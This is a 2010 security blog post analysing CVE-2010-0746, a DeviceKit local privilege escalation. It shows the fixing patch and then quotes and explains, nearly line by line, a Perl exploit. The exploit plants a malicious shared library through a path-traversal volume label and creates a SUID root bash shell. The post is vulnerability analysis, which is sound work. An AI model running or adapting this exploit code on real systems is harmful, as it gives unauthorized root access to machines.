xorl %eax, %eax

CVE-2010-0746: DeviceKit Local Privilege Escalation

leave a comment »

Vincent Danen of Red Hat reported an old bug on DeviceKit to the oss-security mailing list. A few hours later stealth wrote an exploit for this vulnerability to demonstrate the security implications as we can read from his twitter. The original bug report was sent by Pierre Ossman as a common bug where DeviceKit failed to mount discs with ‘/’ character in their filenames. To fix this design flaw, the following patch was applied to src/devkit-disks-device.c:

 	} else if (device->priv->id_uuid != NULL && strlen (device->priv->id_uuid) > 0) {
- 		mount_point = g_build_filename ("/media", device->priv->id_uuid, NULL);
+
+ 		GString *s;
+
+ 		s = g_string_new ("/media/");
+ 		for (n = 0; device->priv->id_uuid[n] != '\0'; n++) {
+ 			gint c = device->priv->id_uuid[n];
+ 			if (c == '/')
+ 				g_string_append_c (s, '_');
+ 			else
+ 				g_string_append_c (s, c);
+ 		}
+
+ 		mount_point = g_string_free (s, FALSE);
+
} 	else {

This was applied to the devkit_disks_device_filesystem_mount_authorized_cb() routine and as you can see instead of initializing ‘mount_point’ using g_build_filename() which concatenates strings “/media” and the device’s UUID, a new string “/media/” is initialized to ‘s’ using g_string_new() and each character of the UUID is checked against ‘/’ character. If a slash character is found it will be replaced with underscore and appended to the string that will later by used as the ‘mount_point’. In any other case, it will simply append the character and continue.
The security implications aren’t really easy to realize for most people but stealth wrote an exploit named ‘devshit.pl’ which is available here and demonstrates them by spawning a root shell. To achieve successful exploitation using this code read stealth’s comments in the beginning of the code. Here is a quick overview of his work…

sub usage
{
	print "Usage: $0 </dev/HDD-to-make-evil>\n";
	exit;
}

my $hdd = shift or usage();

Quite obvious, ‘$hdd’ is the argument which is a device file under /dev/ directory. If this is not set it will invoke usage(). Let’s move on…

system("mkfs.ext2 -L ../lib64/x86_64/ $hdd");
system("mkdir /M ||true;mount $hdd /M");
open(O,">/tmp/boomlib.c") or die $!;
print O<<EOF;

The filesystem of the given ‘$hdd’ is formatted to EXT2 and its volume label is set to ‘../lib64/x86_64/’ (read stealth’s comments to understand this) using the ‘-L’ option of mkfs.ext2. Next, a new directory named ‘M’ is created if it doesn’t exist and ‘$hdd’ is mounted to it. Finally, a new file descriptor for the /tmp/boomlib.c file is opened and the following code is appended to it:

#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>

int volume_id_log_fn = 0;
void volume_id_get_type_version() { volume_id_log_fn = 1; exit(0); }
void volume_id_get_usage() { volume_id_get_type_version(); }
void volume_id_get_label_raw() { volume_id_get_usage(); }
void volume_id_get_label() { volume_id_get_label_raw(); }
void volume_id_all_probers() { volume_id_get_label(); }
void volume_id_encode_string() { volume_id_all_probers(); }
void volume_id_close() { volume_id_encode_string(); }
void volume_id_probe_filesystem() { volume_id_close(); }
void volume_id_probe_raid() { volume_id_probe_filesystem(); }
void volume_id_get_uuid_sub() { volume_id_probe_raid(); }
void volume_id_open_fd() { volume_id_get_uuid_sub(); }
void volume_id_get_type() { volume_id_open_fd(); }
void volume_id_get_uuid() { volume_id_get_type(); }
void volume_id_get_prober_by_type() { volume_id_get_uuid(); }
void volume_id_probe_all() { volume_id_get_prober_by_type(); }

As you can see these are a series of functions that end up calling the first one, volume_id_get_type_version() and are used simply to create a library to intercept them from HAL. The code continues like this:

void _init()
{
	int fd1, fd2, r;
	char buf[32000];
	fd1 = open("/lib64/x86_64/boomsh", O_RDONLY);
	fd2 = open("/var/tmp/boomsh", O_RDWR|O_CREAT, 0600);
	if (fd1 < 0 || fd2 < 0)
		return;
	r = read(fd1, buf, sizeof(buf));
	write(fd2, buf, r);
	close(fd1); close(fd2);

	chown("/var/tmp/boomsh",0,0);chmod("/var/tmp/boomsh", 04755);
	volume_id_probe_all();
}

This is the initialization function of the library which opens ‘/lib64/x86_64/boomsh’ and opens or creates ‘/var/tmp/boomsh’ and then simply copies the contents of ‘/lib64/x86_64/boomsh’ to the ‘/var/tmp/boomsh’ file and changing it to a root owned, SUID executable. At last, it will call volume_id_probe_all(). The aim of this library is to be invoked instead of the legit ‘libvolume_id’ since, as stealth noted, the dynamic linker looks at ‘/lib64/x86_64/’ under Fedora Core 11 x86_64 and so it could be abused.
Obviously, the Perl exploit moves on like that:

EOF
close(O);
system("cc -c -fPIC /tmp/boomlib.c -o /tmp/boomlib.o");
system("ld -shared -soname=libvolume_id.so.1 /tmp/boomlib.o -o /M/libvolume_id.so.1");
unlink("/tmp/boomlib.c"); unlink("/tmp/boomlib.o");

It compiles the previous C code as a shared library named ‘libvolume_id.so.1’. Next, a new file is created…

open(O,">/tmp/boomsh.c") or die $!;
print O<<EOF;

Where as you might imagine, ‘/tmp/boomsh.c’ is a SUID root code that spawns a Bash shell.

#include <stdio.h>
int main()
{
	char *a[]={"/bin/bash", "--noprofile", "--norc", NULL};
	setuid(0); setgid(0);
	execve(*a, a, NULL);
	return -1;
}

Finally, the Perl code ends like this:

EOF
close(O);
system("gcc -s -O2 /tmp/boomsh.c -o /M/boomsh");
unlink("/tmp/boomsh.c");
system("umount /M");

The attempt to unmount it will result in using the volume name ‘../lib64/x86_64/’ that will force DeviceKit in creating the evil library and the ‘boomsh’ binaries to that location even though this isn’t the actual volume’s location. When this library is invoked by the dynamic linker it will make ‘boomsh’ a SUID root shell at ‘/var/tmp/boomsh’.
Cool code! :)

Written by xorl

April 6, 2010 at 16:39

Posted in vulnerabilities

Leave a comment